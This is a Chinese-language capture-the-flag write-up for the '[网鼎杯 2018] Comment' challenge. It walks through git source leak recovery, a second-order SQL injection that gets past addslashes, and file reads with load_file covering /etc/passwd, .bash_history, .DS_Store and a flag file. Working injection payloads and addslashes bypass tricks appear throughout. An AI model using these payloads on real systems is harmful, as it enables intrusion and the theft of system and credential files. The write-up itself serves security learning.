考点:
1.git源码泄露及恢复
2.二次注入
3.load_file读取文件
4. .DS_Store文件泄露
一个留言板,以为是xss,发帖尝试,需要登录
提示了用户名和密码,密码后三位需要爆破
爆破出后三位为666
登录后在console中发现提示
提示GIT,想到git源码泄漏
用dirmap扫出来了,下载后用githack破解源码
有一个write_do.php
include "mysql.php";
session_start();
if($_SESSION['login'] != 'yes'){
header("Location: ./login.php");
die();
}
if(isset($_GET['do'])){
switch ($_GET['do'])
{
case 'write':
break;
case 'comment':
break;
default:
header("Location: ./index.php");
}
}
else{
header("Location: ./index.php");
}
?>
呃呃。感觉不对劲,全都是跳转到index.php,那么这个源码应该不完整,可以使用GitHack进行恢复
结合刚才控制台的提示,查看一下git的操作记录:git log --reflog
然后会得到一串hash,然后使用git reset --hard 密文
得到源码。我这里复现失败了,可能是GitHack的原因。具体步骤参考这位佬的:[网鼎杯 2018]Comment
include "mysql.php";
session_start();
if($_SESSION['login'] != 'yes'){
header("Location: ./login.php");
die();
}
if(isset($_GET['do'])){
switch ($_GET['do'])
{
case 'write':
$category = addslashes($_POST['category']);
$title = addslashes($_POST['title']);
$content = addslashes($_POST['content']);
$sql = "insert into board
set category = '$category',
title = '$title',
content = '$content'";
$result = mysql_query($sql);
header("Location: ./index.php");
break;
case 'comment':
$bo_id = addslashes($_POST['bo_id']);
$sql = "select category from board where id='$bo_id'";
$result = mysql_query($sql);
$num = mysql_num_rows($result);
if($num>0){
$category = mysql_fetch_array($result)['category'];
$content = addslashes($_POST['content']);
$sql = "insert into comment
set category = '$category',
content = '$content',
bo_id = '$bo_id'";
$result = mysql_query($sql);
}
header("Location: ./comment.php?id=$bo_id");
break;
default:
header("Location: ./index.php");
}
}
else{
header("Location: ./index.php");
}
?>
do参数有两个动作,write和comment,结合抓包可以看到
发帖是wtire,在帖子详情中提交留言对应comment操作
发帖时3个参数都经过了addslashes()函数的处理,即会给’,",\,NULL加上转义符
补充,addslashes函数常用绕过方法:
设置数据库字符为gbk导致宽字节注入
使用icon,mb_convert_encoding转换字符编码函数导致宽字节注入
url解码导致绕过addslashes
base64解码导致绕过addslashes json编码导致绕过addslashes
没有使用引号保护字符串,直接无视addslashes 使用了stripslashes(去掉了) 字符替换导致的绕过addslashes
参考 https://bbs.ichunqiu.com/thread-10899-1-1.html
注意到,在发帖后进入帖子详情提交留言时,
$sql = "select category from board where id='$bo_id'";
$category = mysql_fetch_array($result)['category'];
这两条语句会从数据库中取出对应帖子id中的category的值,而这个值是我们发帖时自己填入的可控变量。那么存在二次注入的可能
关于二次注入原理可以参考我写过的一篇sqli靶场的文章:sqli靶场-二次注入
二次注入可以理解为,攻击者构造的恶意数据存储在数据库后,恶意数据被再次读取并进入到SQL查询语句所导致的注入。防御者可能在用户输入恶意数据时对其中的特殊字符进行了转义处理,但在恶意数据插入到数据库时被处理的数据又被还原并存储在数据库中,当Web程序再次调用存储在数据库中的恶意数据并执行SQL查询时,就发生了SQL二次注入。二次注入和普通的sql注入区别就是,二次注入是把恶意代码放入数据库中,执行后通过select等语句把结果回显,一般存在于insert语句中
在这里,我们输入的category的值会经过addslashes函数转义,比如有单引号:0',content=database(),/*
会被转义为 0\',content=database(),/
,所以在发帖时不好注入,但是该数据存到数据库里时转义符会被去掉,因为在数据库后是没有反斜杠的,会自动去除
payload:
category:0',content=database(),/*
content:*/#
使用/**/的原因是该sql语句换行了
这样最终构成的组合就是
$sql = "insert into comment
set category = '0’,content=database(),/*',
content = '*/#',
bo_id = '$bo_id'";
得到数据库名为ctf
然后进行查表操作,发现不行,看了wp后知道是利用select load_file(‘文件绝对路径’)读取文件
用法:
load_file(‘文件绝对路径’)读取文件并返回文件内容为字符串。使用此函数,该文件必须位于服务器主机上,必须指定完整路径的文件,必须有FILE权限。
一般用法步骤:读/etc/init.d下的东西,这里有配置文件路径 ?id=1’ union select
1,2,load_file(‘/etc/init.d/httpd’) 得到web安装路径 ?id=1’ union select
1,2,load_file(‘/etc/apache/conf/httpd.conf’) 读取密码文件 ?id=1’ union
select 1,2,load_file(‘var/www/html/xxx.com/php/conn.inc.php’)
1.读取/etc/passwd',content=(select (load_file('/etc/passwd'))),/*
2.得到网页目录为/home/www。在这里可以查询.bash_history来查看历史命令
',content=(select (load_file('/home/www/.bash_history'))),/*
3.可以看到,首先进入了tmp目录,将html.zip(应该是网页文件)解压,然后删除压缩包,然后复制到/var/www目录下,并在/var/www/html目录下删除了.DS_Store文件
.DS_Store(英文全称 Desktop Services Store)是一种由苹果公司的Mac OS
X操作系统所创造的隐藏文件,目的在于存贮目录的自定义属性,例如文件们的图标位置或者是背景色的选择。通过.DS_Store可以知道这个目录里面所有文件的清单。
那么此时就需要在/tmp/html获取解压出来的.DS_Store文件:', content=(select (load_file('/tmp/html/.DS_Store'))),/*
没有显示完整,应该是文件过大,此时可以使用十六进制编码读取,然后解码
',content=(select hex(load_file("/tmp/html/.DS_Store"))),/*
得到编码后的数据,解码
4.看到一个疑似flag的php文件,读取,注意,.DS_Store目录下的文件是被解压到var/www/html目录下,所以应该从这里读取
',content=(select hex(load_file("/var/www/html/flag_8946e1ff1ee3e40f.php"))),/*